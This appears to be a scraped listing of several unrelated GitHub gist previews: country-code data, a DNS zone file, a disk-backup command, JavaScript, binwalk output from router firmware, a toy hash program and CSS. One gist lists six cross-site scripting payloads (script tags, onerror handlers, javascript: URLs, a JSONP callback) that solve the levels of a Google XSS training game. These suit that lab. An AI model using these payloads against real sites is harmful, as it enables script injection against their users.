View gist:1c40adf08751b7a6c083
// ftp://ftp.fu-berlin.de/doc/iso/iso3166-countrycodes.txt | |
[{ country: "ÅLAND ISLANDS", alpha2: "AX", alpha3: "ALA", number: 248 }, | |
{ country: "AFGHANISTAN", alpha2: "AF", alpha3: "AFG", number: 004 }, | |
{ country: "ALBANIA", alpha2: "AL", alpha3: "ALB", number: 008 }, | |
{ country: "ALGERIA", alpha2: "DZ", alpha3: "DZA", number: 012 }, | |
{ country: "AMERICAN SAMOA", alpha2: "AS", alpha3: "ASM", number: 016 }, | |
{ country: "ANDORRA", alpha2: "AD", alpha3: "AND", number: 020 }, | |
{ country: "ANGOLA", alpha2: "AO", alpha3: "AGO", number: 024 }, | |
{ country: "ANGUILLA", alpha2: "AI", alpha3: "AIA", number: 660 }, | |
{ country: "ANTARCTICA", alpha2: "AQ", alpha3: "ATA", number: 010 }, |
View zz.countries.nerd.dk.rbldnsd
This file has been truncated, but you can view the full file.
$SOA 7200 countries-ns.mdc.dk. read.the.homepage.at.http.countries.nerd.dk. 2013013100 28800 7200 604800 7200 | |
5.224.7.0/24 :127.0.0.20:ad | |
5.224.254.0/23 :127.0.0.20:ad | |
5.225.7.0/24 :127.0.0.20:ad | |
5.225.254.0/23 :127.0.0.20:ad | |
31.201.76.0/24 :127.0.0.20:ad | |
37.19.14.248/29 :127.0.0.20:ad | |
37.222.7.0/24 :127.0.0.20:ad | |
37.222.254.0/23 :127.0.0.20:ad |
View gist:20732b171d4091fb333c
## Linode Rescue Mode Disk Backup | |
# Remote: | |
dd if=/dev/xvda | gzip -c > linode.img.gz | |
passwd | |
/etc/init.d/ssh start | |
# Local: | |
ssh root@remote-location "dd if=~/linode.img.gz " | dd of=~/Developer/Backups/Images/linode.img.gz |
View gist:8216542605fd6ad45677
var results = {}; // Stores results of async calculations | |
var render = function() { /* ... render the page using 'results' ... */}; | |
var getDatabaseRecords = function(callback) { /* ... async stuff, storing results in 'results' ... */ }; | |
var prepareAssetPaths = function(callback) { /* ... async stuff, storing results in 'results' ... */ }; | |
var tasks = [getDatabaseRecords, prepareAssetPaths], | |
params = [ | |
[], |
View gist:eb8a9d0993d746359710
My xss-game.appspot.com Solutions | |
1. <script>alert('hi')</script> | |
2. <img src="asda" onerror="alert('hi')"/> | |
3. #' onerror="alert('hi')" | |
4. ?timer='),alert('hi | |
5. /signup?next=javascript:alert('hi') | |
6. #//www.google.com/jsapi?callback=alert |
View gist:052dbe526a2ca869b5a5
for file in `cat filenames.txt`; do convert -size 120x120 xc:none -fill "$file" -draw "circle 60,60 40,10" "$file" ; done |
View gist:11127525
DECIMAL HEXADECIMAL DESCRIPTION | |
------------------------------------------------------------------------------------------------------------------------------------------------------ | |
9132 0x23AC U-Boot boot loader reference | |
10384 0x2890 uImage header, header size: 64 bytes, header CRC: 0x5DF640E, created: Fri Sep 25 15:20:45 2009, image size: 56666 bytes, Data Address: 0x80400000, Entry Point: 0x80400000, data CRC: 0x58BAA47, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "u-boot image" | |
10416 0x28B0 U-Boot boot loader reference | |
10448 0x28D0 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 150884 bytes | |
115364 0x1C2A4 Sercomm firmware signature, version control: 29184, download control: 24933, hardware ID: "d ok..!!", hardware version: 0x4547, firmware version: 0x4F46, starting code segment: 0xA21, code size: 0x0 | |
115884 0x1C4AC |
View gist:11127228
DECIMAL HEX DESCRIPTION | |
------------------------------------------------------------------------------------------------------------------- | |
9132 0x23AC U-Boot boot loader reference | |
115364 0x1C2A4 Sercomm firmware signature, version control: 29184, download control: 24933, hardware ID: "d ok..!!", hardware version: 0x4547, firmware version: 0x4F46, starting code segment: 0xA21, code size: 0x0 | |
115884 0x1C4AC HTML document footer | |
116084 0x1C574 HTML document header | |
116310 0x1C656 HTML document footer | |
118124 0x1CD6C HTML document footer | |
118152 0x1CD88 HTML document header | |
130970 0x1FF9A Sercomm firmware signature, version control: 0, download control: 256, hardware ID: "YS5", hardware version: 0x4100, firmware version: 0x49, starting code segment: 0x0, code size: 0x7300 |
View gist:9236127
//Crazy awful hash algorithm. Created for my personal education only. | |
#include <stdio.h> | |
#include <iostream> | |
#include <string> | |
#include <sstream> | |
#define BYTES 8 //8 bytes = 64 bits | |
using std::cout; |
View dabblet.css
body { | |
background: #222; | |
text-align: center; | |
} | |
input { | |
font-size: 1.5em; | |
width: 20em; | |
margin-top: 2em; | |
} |